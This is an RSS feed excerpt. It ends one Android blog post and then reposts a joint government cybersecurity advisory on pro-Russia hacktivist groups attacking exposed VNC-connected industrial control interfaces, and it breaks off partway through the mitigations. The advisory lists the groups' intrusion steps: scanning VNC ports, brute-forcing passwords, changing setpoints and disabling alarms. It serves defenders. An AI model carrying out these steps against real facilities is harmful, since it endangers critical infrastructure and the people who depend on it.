<p><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1</a>:</b> Introduction of the app and a high-level overview.<br><b><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">Part 2</a>: </b>On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3 (this post!):</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html">Part 4:</a> </b>System integration. Integrating with the Android intelligence system using AppFunctions. <br><b>Part 5 (coming soon):</b> In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks_0.pdf" class="c-file__link" target="_blank">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.53 MB
  )</span>
  </div>
</div>
<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to <a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a> for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<p><a class="ck-anchor"></a></p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 1. Reconnaissance</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Gather Victim Organization Information</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a></td>
<td>Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a></td>
<td>Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 2. Resource Development</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Server</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a></td>
<td>Threat actors use virtual infrastructure to obfuscate identifiers.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 3. Initial Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a></td>
<td>Threat actors gain access through less secure HMI devices exposed to the internet.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 4. Persistence</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a></td>
<td>Threat actors use password guessing tools to access legitimate accounts on the HMI devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 5. Credential Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Brute Force: Password Spraying</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a></td>
<td>Threat actors use tools to rapidly guess common or simple passwords.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 6. Lateral Movement</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Credentials</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a></td>
<td>Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.</td>
</tr>
<tr>
<td>Remote Services</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a></td>
<td>Threat actors leverage VNC services to access system HMI devices.</td>
</tr>
<tr>
<td>Remote Services: VNC</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a></td>
<td>Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 7. Execution</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Graphical User Interface</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a></td>
<td>Threat actors interact with HMI devices via GUIs, attempting to modify control devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 8. Inhibit Response Function</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Device Restart/Shutdown</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a></td>
<td>While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.</td>
</tr>
<tr>
<td>Alarm Suppression</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a></td>
<td>Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.</td>
</tr>
<tr>
<td>Change Credential</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a></td>
<td>Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 9. Impair Process Control</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify Parameter</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a></td>
<td>Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.</td>
</tr>
<tr>
<td>Unauthorized Command Message</td>
<td><a href="https://attack.mitre.org/techniques/T0855/" target="_blank" title="T0855" data-entity-type="external">T0855</a></td>
<td>Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 10. Impact</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><a class="ck-anchor"><strong>Technique Title</strong></a></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of Productivity and Revenue</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a></td>
<td>Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.</td>
</tr>
<tr>
<td>Loss of View</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a></td>
<td>Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. </td>
</tr>
<tr>
<td>Manipulation of Control</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a></td>
<td>Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  </td>
</tr>
</tbody>
</table>
<h2><strong>Incident Response</strong></h2>
<p>If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:</p>
<ol>
<li><strong>Determine which hosts were compromised and isolate them</strong> by quarantining or taking them offline.</li>
<li><strong>Initiate threat hunting activities to scope the intrusion</strong>. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.</li>
<li><strong>Reimage compromised hosts</strong>.</li>
<li><strong>Provision new account credentials</strong>.</li>
<li><strong>Report the compromise to CISA, FBI, and/or NSA</strong>. See the <a href="https://www.cisa.gov/#Contact" title="Contact Information"><strong>Contact Information</strong></a> section of this advisory.</li>
<li><strong>Harden the network to prevent additional malicious activity</strong>. See the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations "><strong>Mitigations </strong></a>section of this advisory for guidance.</li>
</ol>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<h3><strong>OT Asset Owners and Operators</strong></h3>
<p>The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<ul>
<li><strong>Reduce exposure of OT assets to the public-facing internet.</strong> When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>].
<ul>
